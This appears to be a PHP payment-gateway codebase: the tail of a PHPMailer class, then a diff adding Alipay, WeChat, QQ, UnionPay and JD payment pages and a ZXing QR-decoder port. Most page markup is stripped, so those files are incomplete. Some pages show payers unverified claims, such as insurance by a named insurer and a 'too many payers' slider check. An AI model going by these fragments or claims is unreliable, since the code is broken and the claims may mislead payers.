$this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet); $this->doCallback($result, [[$addrinfo['address'], $addrinfo['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if (!$result) { throw new Exception($this->lang('instantiate'), self::STOP_CRITICAL); } return true; } public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } public function setSMTPInstance(SMTP $smtp) { $this->smtp = $smtp; return $this->smtp; } public function setSMTPXclientAttribute($name, $value) { if (!in_array($name, SMTP::$xclient_allowed_attributes)) { return false; } if (isset($this->SMTPXClient[$name]) && $value === null) { unset($this->SMTPXClient[$name]); } elseif ($value !== null) { $this->SMTPXClient[$name] = $value; } return true; } public function getSMTPXclientAttributes() { return $this->SMTPXClient; } protected function smtpSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $bad_rcpt = []; if (!$this->smtpConnect($this->SMTPOptions)) { throw new Exception($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); } if ('' === $this->Sender) { $smtp_from = $this->From; } else { $smtp_from = $this->Sender; } if (count($this->SMTPXClient)) { $this->smtp->xclient($this->SMTPXClient); } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); } $callbacks = []; foreach ([$this->to, $this->cc, $this->bcc] as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0], $this->dsn)) { $error = $this->smtp->getError(); $bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']]; $isSent = false; } else { $isSent = true; } $callbacks[] = ['issent' => $isSent, 'to' => $to[0], 'name' => $to[1]]; } } if ((count($this->all_recipients) > count($bad_rcpt)) && !$this->smtp->data($header . $body)) { throw new Exception($this->lang('data_not_accepted'), self::STOP_CRITICAL); } $smtp_transaction_id = $this->smtp->getLastTransactionID(); if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } foreach ($callbacks as $cb) { $this->doCallback($cb['issent'], [[$cb['to'], $cb['name']]], [], [], $this->Subject, $body, $this->From, ['smtp_transaction_id' => $smtp_transaction_id]); } if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error']; } throw new Exception($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE); } return true; } public function smtpConnect($options = null) { if (null === $this->smtp) { $this->smtp = $this->getSMTPInstance(); } if (null === $options) { $options = $this->SMTPOptions; } if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); if ($this->Host === null) { $this->Host = 'localhost'; } $hosts = explode(';', $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = []; if (!preg_match('/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/', trim($hostentry), $hostinfo)) { $this->edebug($this->lang('invalid_hostentry') . ' ' . trim($hostentry)); continue; } if (!static::isValidHost($hostinfo[2])) { $this->edebug($this->lang('invalid_host') . ' ' . $hostinfo[2]); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = (static::ENCRYPTION_STARTTLS === $this->SMTPSecure); if ('ssl' === $hostinfo[1] || ('' === $hostinfo[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure)) { $prefix = 'ssl://'; $tls = false; $secure = static::ENCRYPTION_SMTPS; } elseif ('tls' === $hostinfo[1]) { $tls = true; $secure = static::ENCRYPTION_STARTTLS; } $sslext = defined('OPENSSL_ALGO_SHA256'); if (static::ENCRYPTION_STARTTLS === $secure || static::ENCRYPTION_SMTPS === $secure) { if (!$sslext) { throw new Exception($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL); } } $host = $hostinfo[2]; $port = $this->Port; if (array_key_exists(3, $hostinfo) && is_numeric($hostinfo[3]) && $hostinfo[3] > 0 && $hostinfo[3] < 65536) { $port = (int) $hostinfo[3]; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); if ($this->SMTPAutoTLS && $this->Host !== 'localhost' && $sslext && $secure !== 'ssl' && $this->smtp->getServerExt('STARTTLS')) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } $this->smtp->hello($hello); } if ($this->SMTPAuth && !$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->oauth)) { throw new Exception($this->lang('authenticate')); } return true; } catch (Exception $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); $this->smtp->quit(); } } } $this->smtp->close(); if ($this->exceptions && null !== $lastexception) { throw $lastexception; } if ($this->exceptions) { $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } return false; } public function smtpClose() { if ((null !== $this->smtp) && $this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } public function setLanguage($langcode = 'en', $lang_path = '') { $renamed_langcodes = ['br' => 'pt_br', 'cz' => 'cs', 'dk' => 'da', 'no' => 'nb', 'se' => 'sv', 'rs' => 'sr', 'tg' => 'tl', 'am' => 'hy',]; if (array_key_exists($langcode, $renamed_langcodes)) { $langcode = $renamed_langcodes[$langcode]; } $PHPMAILER_LANG = ['authenticate' => 'SMTP Error: Could not authenticate.', 'buggy_php' => 'Your version of PHP is affected by a bug that may result in corrupted messages.' . ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' . ' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'extension_missing' => 'Extension missing: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'invalid_header' => 'Invalid header name or value', 'invalid_hostentry' => 'Invalid hostentry: ', 'invalid_host' => 'Invalid host: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_code' => 'SMTP code: ', 'smtp_code_ex' => 'Additional SMTP info: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_detail' => 'Detail: ', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ',]; $PHPMAILER_LANG['authenticate'] = 'SMTP登录失败:邮箱账号或密码错误。'; $PHPMAILER_LANG['buggy_php'] = '您的 PHP 版本存在漏洞,可能会导致消息损坏。为修复此问题,请切换到使用 SMTP 发送,在您的 php.ini 中禁用 mail.add_x_header 选项。切换到 MacOS 或 Linux,或将您的 PHP 升级到 7.0.17+ 或 7.1.3+ 版本。'; $PHPMAILER_LANG['connect_host'] = '无法连接到SMTP服务器。'; $PHPMAILER_LANG['data_not_accepted'] = '数据不被接受。'; $PHPMAILER_LANG['empty_message'] = '邮件正文为空。'; $PHPMAILER_LANG['encoding'] = '未知编码:'; $PHPMAILER_LANG['execute'] = '无法执行:'; $PHPMAILER_LANG['extension_missing'] = '缺少扩展名:'; $PHPMAILER_LANG['file_access'] = '无法访问文件:'; $PHPMAILER_LANG['file_open'] = '文件错误:无法打开文件:'; $PHPMAILER_LANG['from_failed'] = '发送地址错误:'; $PHPMAILER_LANG['instantiate'] = '未知函数调用。'; $PHPMAILER_LANG['invalid_address'] = '发送失败,电子邮箱地址是无效的:'; $PHPMAILER_LANG['mailer_not_supported'] = '发信客户端不被支持。'; $PHPMAILER_LANG['provide_address'] = '必须提供至少一个收件人地址。'; $PHPMAILER_LANG['recipients_failed'] = '收件人地址错误:'; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP服务器连接失败:SMTP服务器地址或端口错误。'; $PHPMAILER_LANG['smtp_error'] = 'SMTP服务器出错:'; $PHPMAILER_LANG['variable_set'] = '无法设置或重置变量:'; $PHPMAILER_LANG['invalid_header'] = '无效的标题名称或值'; $PHPMAILER_LANG['invalid_hostentry'] = '无效的hostentry: '; $PHPMAILER_LANG['invalid_host'] = '无效的主机:'; $PHPMAILER_LANG['signing'] = '签名错误:'; $PHPMAILER_LANG['smtp_code'] = 'SMTP代码: '; $PHPMAILER_LANG['smtp_code_ex'] = '附加SMTP信息: '; $PHPMAILER_LANG['smtp_detail'] = '详情:'; if (empty($lang_path)) { $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR; } $foundlang = true; $langcode = strtolower($langcode); if (!preg_match('/^(?P[a-z]{2})(?P + + + + + \ No newline at end of file diff --git a/includes/pages/alipay_jspay.php b/includes/pages/alipay_jspay.php new file mode 100644 index 0000000..bf1ce98 --- /dev/null +++ b/includes/pages/alipay_jspay.php @@ -0,0 +1,86 @@ + + + + + + + + 支付宝支付 + + + +
    +

    支付宝支付

    +
    +
    +
    +
    +正在跳转... + + + +
    +
    + + \ No newline at end of file diff --git a/includes/pages/alipay_qrcode.php b/includes/pages/alipay_qrcode.php new file mode 100644 index 0000000..9f5816d --- /dev/null +++ b/includes/pages/alipay_qrcode.php @@ -0,0 +1,169 @@ + + + + + + + + +支付宝扫码支付 + + + + + +
    +

    +支付宝扫码支付 +

    +
    +
    +
    +
    ¥
    +
    +
    + +
    + + +
    +
    + + +
    +
    +

    请使用支付宝扫一扫

    +

    扫描二维码完成支付

    +
    +
    +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/includes/pages/alipay_qrcodepc.php b/includes/pages/alipay_qrcodepc.php new file mode 100644 index 0000000..90c0a35 --- /dev/null +++ b/includes/pages/alipay_qrcodepc.php @@ -0,0 +1,91 @@ + + + + + + + + +支付宝扫码支付 + + + +
    +

    +支付宝扫码支付 +

    +
    +
    +
    +
    ¥
    +
    + +
    +
    + + +
    +
    + + +
    +
    +

    请使用支付宝扫一扫

    +

    扫描二维码完成支付

    +
    +
    +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/includes/pages/bank_qrcode.php b/includes/pages/bank_qrcode.php new file mode 100644 index 0000000..5a10d77 --- /dev/null +++ b/includes/pages/bank_qrcode.php @@ -0,0 +1,149 @@ + + + + + + + + +银联云闪付扫码支付 + + + +
    +

    +银联云闪付扫码支付 +

    +
    +
    +
    +
    ¥
    +
    +
    + +
    + + +
    +
    + + +
    +
    +

    请使用银联云闪付扫一扫

    +

    扫描二维码完成支付

    +
    +
    +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/includes/pages/certok.php b/includes/pages/certok.php new file mode 100644 index 0000000..b697806 --- /dev/null +++ b/includes/pages/certok.php @@ -0,0 +1,79 @@ + + + + + + 实名认证成功 + + + + +
    +
    +
    +
    + +
    +
    +

    实名认证成功

    +

    请返回浏览器查看结果

    +
    +
    +

    + 关闭 +

    +
    +
    + +
    +
    +
    +
    + + + + \ No newline at end of file diff --git a/includes/pages/error.php b/includes/pages/error.php new file mode 100644 index 0000000..3cfce47 --- /dev/null +++ b/includes/pages/error.php @@ -0,0 +1,38 @@ + + + + + + 错误提示 + + + + +
    +
    +
    +
    + +
    +
    +

    错误提示

    +

    支付失败或支付超时,请返回重新发起支付

    +
    +
    + +
    +
    +
    +
    + + + \ No newline at end of file diff --git a/includes/pages/jdpay_qrcode.php b/includes/pages/jdpay_qrcode.php new file mode 100644 index 0000000..aea3f3a --- /dev/null +++ b/includes/pages/jdpay_qrcode.php @@ -0,0 +1,108 @@ + + + + + + + + +京东扫码支付 + + + +
    +

    +京东扫码支付 +

    +
    +
    +
    +
    ¥
    +
    +
    + +
    + + +
    +
    + + +
    +
    +

    请使用京东APP扫一扫

    +

    扫描二维码完成支付

    +
    +
    +
    +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/includes/pages/jump.php b/includes/pages/jump.php new file mode 100644 index 0000000..7f8b76c --- /dev/null +++ b/includes/pages/jump.php @@ -0,0 +1,67 @@ + Safari打开'; +}elseif(strpos($useragent, 'micromessenger')!==false){ + $alert = ' 浏览器打开'; +}else{ + $alert = ' 浏览器打开'; +} +?> + + + + + 请使用浏览器打开 + + + + + + + + + +
    +

    点击右上角

    +

    可以继续浏览本站哦~

    +
    +
    + 您也可以复制本站网址,到其它浏览器打开 +
    +点此继续访问 + + + + + + \ No newline at end of file diff --git a/includes/pages/ok.php b/includes/pages/ok.php new file mode 100644 index 0000000..5d69eb2 --- /dev/null +++ b/includes/pages/ok.php @@ -0,0 +1,80 @@ + + + + + + 支付结果 + + + +
    +
    +
    + +
    +
    +
    +
    +
    +

    支付成功

    +

    支付成功,请回到浏览器查看订单

    +
    +
    +

    + 关闭 + +

    +
    +
    +
    +
    +
    + + + + + diff --git a/includes/pages/openid.php b/includes/pages/openid.php new file mode 100644 index 0000000..f31a081 --- /dev/null +++ b/includes/pages/openid.php @@ -0,0 +1,101 @@ + + + + + + 获取<?php echo $openid_name?> + + + + +
    +
    +
    +
    + +
    +
    +

    获取成功

    +
    +
    +
    +
    如未自动填写,请手动复制下方
    +
    +
    +
    + +
    +
    +
    +
    +
    + +
    + +
    +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/includes/pages/qqpay_jspay.php b/includes/pages/qqpay_jspay.php new file mode 100644 index 0000000..cb5df6e --- /dev/null +++ b/includes/pages/qqpay_jspay.php @@ -0,0 +1,65 @@ + + + + + + + + + + +
    +

    QQ钱包支付

    +
    +
    +
    +
    +正在跳转... + + + + +
    +
    + + \ No newline at end of file diff --git a/includes/pages/qqpay_qrcode.php b/includes/pages/qqpay_qrcode.php new file mode 100644 index 0000000..2592c52 --- /dev/null +++ b/includes/pages/qqpay_qrcode.php @@ -0,0 +1,112 @@ + + + + + + + + +QQ钱包扫码支付 + + + +
    +

    +QQ钱包扫码支付 +

    +
    +
    +
    +
    ¥
    +
    +
    + +
    + + +
    +
    + + +
    +
    +

    请使用手机QQ扫一扫

    +

    扫描二维码完成支付

    +
    +
    +
    +
    +
    +
    +
    +

    手机用户可保存上方二维码到手机中

    +

    在手机QQ扫一扫中选择“相册”即可

    +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/includes/pages/qqpay_wap.php b/includes/pages/qqpay_wap.php new file mode 100644 index 0000000..d256cc4 --- /dev/null +++ b/includes/pages/qqpay_wap.php @@ -0,0 +1,111 @@ + + + + + + + + + QQ钱包支付手机版 + + + + + +
    +
    + +
    + + +
    +
    + + + + + + \ No newline at end of file diff --git a/includes/pages/return.php b/includes/pages/return.php new file mode 100644 index 0000000..16a9dd5 --- /dev/null +++ b/includes/pages/return.php @@ -0,0 +1,52 @@ + + + + + + + + + + +
    +

    订单处理结果

    +
    +
    +
    +
    +正在检测付款结果... + + + +
    +
    + + \ No newline at end of file diff --git a/includes/pages/verify_invisible.php b/includes/pages/verify_invisible.php new file mode 100644 index 0000000..ebb61d1 --- /dev/null +++ b/includes/pages/verify_invisible.php @@ -0,0 +1,75 @@ +'; +foreach ($query_arr as $k=>$v) { + $html.= ''; +} +$html .= ''; +?> + + + + + + 正在进行支付安全验证,请稍候... + + + +

    正在进行支付安全验证,请稍候...

    + + + + + + \ No newline at end of file diff --git a/includes/pages/verify_jump.php b/includes/pages/verify_jump.php new file mode 100644 index 0000000..f17f3f4 --- /dev/null +++ b/includes/pages/verify_jump.php @@ -0,0 +1,39 @@ +hieroglyphyString($key); + +$html = '
    '; +foreach ($query_arr as $k=>$v) { + $html.= ''; +} +$html .= '
    '; +?> + + + + + + 正在进行支付安全验证,请稍候... + + + +

    正在进行支付安全验证,请稍候...

    + + + + \ No newline at end of file diff --git a/includes/pages/verify_slide.php b/includes/pages/verify_slide.php new file mode 100644 index 0000000..5eb554a --- /dev/null +++ b/includes/pages/verify_slide.php @@ -0,0 +1,90 @@ +'; +foreach ($query_arr as $k=>$v) { + $html.= ''; +} +$html .= ''; +?> + + + + + + 支付环境安全验证 + + + +
    +
    +

    + 很抱歉,当前支付人数过多,请完成“滑动验证”后继续支付 +

    +
    +
    + + + + + + \ No newline at end of file diff --git a/includes/pages/wxopen.php b/includes/pages/wxopen.php new file mode 100644 index 0000000..140bb0a --- /dev/null +++ b/includes/pages/wxopen.php @@ -0,0 +1,72 @@ + + + + + 支付提示 + + + + + + + + +
    +
    + 请在菜单中选择在浏览器中打开,
    + 以完成支付 +
    +
    +
    + + + + + \ No newline at end of file diff --git a/includes/pages/wxpay_h5.php b/includes/pages/wxpay_h5.php new file mode 100644 index 0000000..6ed0376 --- /dev/null +++ b/includes/pages/wxpay_h5.php @@ -0,0 +1,109 @@ + + + + + + + + + 微信支付手机版 + + + + + +
    +
    + +
    + + +
    +
    + + + + + + \ No newline at end of file diff --git a/includes/pages/wxpay_jspay.php b/includes/pages/wxpay_jspay.php new file mode 100644 index 0000000..296fc19 --- /dev/null +++ b/includes/pages/wxpay_jspay.php @@ -0,0 +1,102 @@ + + + + + + +微信支付手机版 + + + +
    +
    +
    + ¥ + +
    +
    +
    + +
    +
    + 商家 + 微信支付平台商户 +
    +
    + +
    + + +
    + 支付安全由中国人民财产保险股份有限公司承保 +
    + + + +
    +
    + + \ No newline at end of file diff --git a/includes/pages/wxpay_qrcode.php b/includes/pages/wxpay_qrcode.php new file mode 100644 index 0000000..d7d6f28 --- /dev/null +++ b/includes/pages/wxpay_qrcode.php @@ -0,0 +1,137 @@ + + + + + + + + +微信扫码支付 + + + +
    +

    +微信扫码支付 +

    +
    +
    +
    + +
    ¥
    +
    +
    + +
    + + +
    +
    + + +
    +
    +

    请使用微信扫一扫

    +

    扫描二维码完成支付

    +
    +
    +
    +
    +
    +
    +
    +

    手机用户可保存上方二维码到手机中

    +

    在微信扫一扫中选择“相册”即可

    +
    +
    +
    + + + + + + + \ No newline at end of file diff --git a/includes/pages/wxpay_wap.php b/includes/pages/wxpay_wap.php new file mode 100644 index 0000000..325b189 --- /dev/null +++ b/includes/pages/wxpay_wap.php @@ -0,0 +1,145 @@ + + + + + + + + + 微信支付手机版 + + + + + +
    +
    + +
    +

    ¥

    +
    + +
    +
    +
    请使用微信APP扫描二维码支付
    +
    + +
    +
    + 二维码链接: + +
    +
    + 提示:你可将以上二维码链接发到自己微信的聊天框(在微信顶部搜索框可以搜到自己的微信),点击即可进入支付! +
    +
    +
    +
    +
    + + + + + + + + \ No newline at end of file diff --git a/includes/qrcodedecoder/Zxing/Binarizer.php b/includes/qrcodedecoder/Zxing/Binarizer.php new file mode 100644 index 0000000..056890c --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Binarizer.php @@ -0,0 +1,96 @@ +source = $source; + } + + /** + * @return LuminanceSource + */ + public final function getLuminanceSource() + { + return $this->source; + } + + /** + * Converts one row of luminance data to 1 bit data. May actually do the conversion, or return + * cached data. Callers should assume this method is expensive and call it as seldom as possible. + * This method is intended for decoding 1D barcodes and may choose to apply sharpening. + * For callers which only examine one row of pixels at a time, the same BitArray should be reused + * and passed in with each call for performance. However it is legal to keep more than one row + * at a time if needed. + * + * @param y The row to fetch, which must be in [0, bitmap height) + * @param row An optional preallocated array. If null or too small, it will be ignored. + * If used, the Binarizer will call BitArray.clear(). Always use the returned object. + * + * @return array The array of bits for this row (true means black). + * @throws NotFoundException if row can't be binarized + */ + public abstract function getBlackRow($y, $row); + + /** + * Converts a 2D array of luminance data to 1 bit data. As above, assume this method is expensive + * and do not call it repeatedly. This method is intended for decoding 2D barcodes and may or + * may not apply sharpening. Therefore, a row from this matrix may not be identical to one + * fetched using getBlackRow(), so don't mix and match between them. + * + * @return BitMatrix The 2D array of bits for the image (true means black). + * @throws NotFoundException if image can't be binarized to make a matrix + */ + public abstract function getBlackMatrix(); + + /** + * Creates a new object with the same type as this Binarizer implementation, but with pristine + * state. This is needed because Binarizer implementations may be stateful, e.g. keeping a cache + * of 1 bit data. See Effective Java for why we can't use Java's clone() method. + * + * @param source The LuminanceSource this Binarizer will operate on. + * + * @return Binarizer A new concrete Binarizer implementation object. + */ + public abstract function createBinarizer($source); + + public final function getWidth() + { + return $this->source->getWidth(); + } + + public final function getHeight() + { + return $this->source->getHeight(); + } +} diff --git a/includes/qrcodedecoder/Zxing/BinaryBitmap.php b/includes/qrcodedecoder/Zxing/BinaryBitmap.php new file mode 100644 index 0000000..b23cb5f --- /dev/null +++ b/includes/qrcodedecoder/Zxing/BinaryBitmap.php @@ -0,0 +1,166 @@ +binarizer = $binarizer; + } + + /** + * @return int The width of the bitmap. + */ + public function getWidth() + { + return $this->binarizer->getWidth(); + } + + /** + * @return int The height of the bitmap. + */ + public function getHeight() + { + return $this->binarizer->getHeight(); + } + + /** + * Converts one row of luminance data to 1 bit data. May actually do the conversion, or return + * cached data. Callers should assume this method is expensive and call it as seldom as possible. + * This method is intended for decoding 1D barcodes and may choose to apply sharpening. + * + * @param y The row to fetch, which must be in [0, bitmap height) + * @param row An optional preallocated array. If null or too small, it will be ignored. + * If used, the Binarizer will call BitArray.clear(). Always use the returned object. + * + * @return array The array of bits for this row (true means black). + * @throws NotFoundException if row can't be binarized + */ + public function getBlackRow($y, $row) + { + return $this->binarizer->getBlackRow($y, $row); + } + + /** + * @return bool Whether this bitmap can be cropped. + */ + public function isCropSupported() + { + return $this->binarizer->getLuminanceSource()->isCropSupported(); + } + + /** + * Returns a new object with cropped image data. Implementations may keep a reference to the + * original data rather than a copy. Only callable if isCropSupported() is true. + * + * @param left The left coordinate, which must be in [0,getWidth()) + * @param top The top coordinate, which must be in [0,getHeight()) + * @param width The width of the rectangle to crop. + * @param height The height of the rectangle to crop. + * + * @return BinaryBitmap A cropped version of this object. + */ + public function crop($left, $top, $width, $height) + { + $newSource = $this->binarizer->getLuminanceSource()->crop($left, $top, $width, $height); + + return new BinaryBitmap($this->binarizer->createBinarizer($newSource)); + } + + /** + * @return Whether this bitmap supports counter-clockwise rotation. + */ + public function isRotateSupported() + { + return $this->binarizer->getLuminanceSource()->isRotateSupported(); + } + + /** + * Returns a new object with rotated image data by 90 degrees counterclockwise. + * Only callable if {@link #isRotateSupported()} is true. + * + * @return BinaryBitmap A rotated version of this object. + */ + public function rotateCounterClockwise() + { + $newSource = $this->binarizer->getLuminanceSource()->rotateCounterClockwise(); + + return new BinaryBitmap($this->binarizer->createBinarizer($newSource)); + } + + /** + * Returns a new object with rotated image data by 45 degrees counterclockwise. + * Only callable if {@link #isRotateSupported()} is true. + * + * @return BinaryBitmap A rotated version of this object. + */ + public function rotateCounterClockwise45() + { + $newSource = $this->binarizer->getLuminanceSource()->rotateCounterClockwise45(); + + return new BinaryBitmap($this->binarizer->createBinarizer($newSource)); + } + + public function toString() + { + try { + return $this->getBlackMatrix()->toString(); + } catch (NotFoundException $e) { + } + + return ''; + } + + /** + * Converts a 2D array of luminance data to 1 bit. As above, assume this method is expensive + * and do not call it repeatedly. This method is intended for decoding 2D barcodes and may or + * may not apply sharpening. Therefore, a row from this matrix may not be identical to one + * fetched using getBlackRow(), so don't mix and match between them. + * + * @return BitMatrix The 2D array of bits for the image (true means black). + * @throws NotFoundException if image can't be binarized to make a matrix + */ + public function getBlackMatrix() + { + // The matrix is created on demand the first time it is requested, then cached. There are two + // reasons for this: + // 1. This work will never be done if the caller only installs 1D Reader objects, or if a + // 1D Reader finds a barcode before the 2D Readers run. + // 2. This work will only be done once even if the caller installs multiple 2D Readers. + if ($this->matrix === null) { + $this->matrix = $this->binarizer->getBlackMatrix(); + } + + return $this->matrix; + } +} diff --git a/includes/qrcodedecoder/Zxing/ChecksumException.php b/includes/qrcodedecoder/Zxing/ChecksumException.php new file mode 100644 index 0000000..ea23209 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/ChecksumException.php @@ -0,0 +1,42 @@ +strict = $strict; + $this->change($initialValue); + } + + /** + * Changes the value of the enum. + * + * @param mixed $value + * + * @return void + */ + public function change($value) + { + if (!in_array($value, $this->getConstList(), $this->strict)) { + throw new \UnexpectedValueException('Value not a const in enum ' . get_class($this)); + } + $this->value = $value; + } + + /** + * Gets all constants (possible values) as an array. + * + * @param boolean $includeDefault + * + * @return array + */ + public function getConstList($includeDefault = true) + { + if ($this->constants === null) { + $reflection = new ReflectionClass($this); + $this->constants = $reflection->getConstants(); + } + if ($includeDefault) { + return $this->constants; + } + $constants = $this->constants; + unset($constants['__default']); + + return $constants; + } + + /** + * Gets current value. + * + * @return mixed + */ + public function get() + { + return $this->value; + } + + /** + * Gets the name of the enum. + * + * @return string + */ + public function __toString() + { + return (string)array_search($this->value, $this->getConstList()); + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/BitArray.php b/includes/qrcodedecoder/Zxing/Common/BitArray.php new file mode 100644 index 0000000..4ab5a4c --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/BitArray.php @@ -0,0 +1,422 @@ +A simple, fast array of bits, represented compactly by an array of ints internally.

    + * + * @author Sean Owen + */ + +final class BitArray +{ + + private $bits; + private $size; + + + public function __construct($bits = [], $size = 0) + { + + if (!$bits && !$size) { + $this->$size = 0; + $this->bits = []; + } elseif ($bits && !$size) { + $this->size = $bits; + $this->bits = $this->makeArray($bits); + } else { + $this->bits = $bits; + $this->size = $size; + } + + } + + private static function makeArray($size) + { + return []; + } + + public function getSize() + { + return $this->size; + } + + public function getSizeInBytes() + { + return ($this->size + 7) / 8; + } + + /** + * Sets bit i. + * + * @param i bit to set + */ + public function set($i) + { + $this->bits[(int)($i / 32)] |= 1 << ($i & 0x1F); + $this->bits[(int)($i / 32)] = ($this->bits[(int)($i / 32)]); + } + + /** + * Flips bit i. + * + * @param i bit to set + */ + public function flip($i) + { + $this->bits[(int)($i / 32)] ^= 1 << ($i & 0x1F); + $this->bits[(int)($i / 32)] = ($this->bits[(int)($i / 32)]); + } + + /** + * @param from first bit to check + * + * @return index of first bit that is set, starting from the given index, or size if none are set + * at or beyond this given index + * @see #getNextUnset(int) + */ + public function getNextSet($from) + { + if ($from >= $this->size) { + return $this->size; + } + $bitsOffset = (int)($from / 32); + $currentBits = (int)$this->bits[$bitsOffset]; + // mask off lesser bits first + $currentBits &= ~((1 << ($from & 0x1F)) - 1); + while ($currentBits == 0) { + if (++$bitsOffset == count($this->bits)) { + return $this->size; + } + $currentBits = $this->bits[$bitsOffset]; + } + $result = ($bitsOffset * 32) + numberOfTrailingZeros($currentBits); //numberOfTrailingZeros + + return $result > $this->size ? $this->size : $result; + } + + /** + * @param from index to start looking for unset bit + * + * @return index of next unset bit, or {@code size} if none are unset until the end + * @see #getNextSet(int) + */ + public function getNextUnset($from) + { + if ($from >= $this->size) { + return $this->size; + } + $bitsOffset = (int)($from / 32); + $currentBits = ~$this->bits[$bitsOffset]; + // mask off lesser bits first + $currentBits &= ~((1 << ($from & 0x1F)) - 1); + while ($currentBits == 0) { + if (++$bitsOffset == count($this->bits)) { + return $this->size; + } + $currentBits = (~$this->bits[$bitsOffset]); + } + $result = ($bitsOffset * 32) + numberOfTrailingZeros($currentBits); + + return $result > $this->size ? $this->size : $result; + } + + /** + * Sets a block of 32 bits, starting at bit i. + * + * @param i first bit to set + * @param newBits the new value of the next 32 bits. Note again that the least-significant bit + * corresponds to bit i, the next-least-significant to i+1, and so on. + */ + public function setBulk($i, $newBits) + { + $this->bits[(int)($i / 32)] = $newBits; + } + + /** + * Sets a range of bits. + * + * @param start start of range, inclusive. + * @param end end of range, exclusive + */ + public function setRange($start, $end) + { + if ($end < $start) { + throw new \InvalidArgumentException(); + } + if ($end == $start) { + return; + } + $end--; // will be easier to treat this as the last actually set bit -- inclusive + $firstInt = (int)($start / 32); + $lastInt = (int)($end / 32); + for ($i = $firstInt; $i <= $lastInt; $i++) { + $firstBit = $i > $firstInt ? 0 : $start & 0x1F; + $lastBit = $i < $lastInt ? 31 : $end & 0x1F; + $mask = 0; + if ($firstBit == 0 && $lastBit == 31) { + $mask = -1; + } else { + $mask = 0; + for ($j = $firstBit; $j <= $lastBit; $j++) { + $mask |= 1 << $j; + } + } + $this->bits[$i] = ($this->bits[$i] | $mask); + } + } + + /** + * Clears all bits (sets to false). + */ + public function clear() + { + $max = count($this->bits); + for ($i = 0; $i < $max; $i++) { + $this->bits[$i] = 0; + } + } + + /** + * Efficient method to check if a range of bits is set, or not set. + * + * @param start start of range, inclusive. + * @param end end of range, exclusive + * @param value if true, checks that bits in range are set, otherwise checks that they are not set + * + * @return true iff all bits are set or not set in range, according to value argument + * @throws InvalidArgumentException if end is less than or equal to start + */ + public function isRange($start, $end, $value) + { + if ($end < $start) { + throw new \InvalidArgumentException(); + } + if ($end == $start) { + return true; // empty range matches + } + $end--; // will be easier to treat this as the last actually set bit -- inclusive + $firstInt = (int)($start / 32); + $lastInt = (int)($end / 32); + for ($i = $firstInt; $i <= $lastInt; $i++) { + $firstBit = $i > $firstInt ? 0 : $start & 0x1F; + $lastBit = $i < $lastInt ? 31 : $end & 0x1F; + $mask = 0; + if ($firstBit == 0 && $lastBit == 31) { + $mask = -1; + } else { + $mask = 0; + for ($j = $firstBit; $j <= $lastBit; $j++) { + $mask = ($mask | (1 << $j)); + } + } + + // Return false if we're looking for 1s and the masked bits[i] isn't all 1s (that is, + // equals the mask, or we're looking for 0s and the masked portion is not 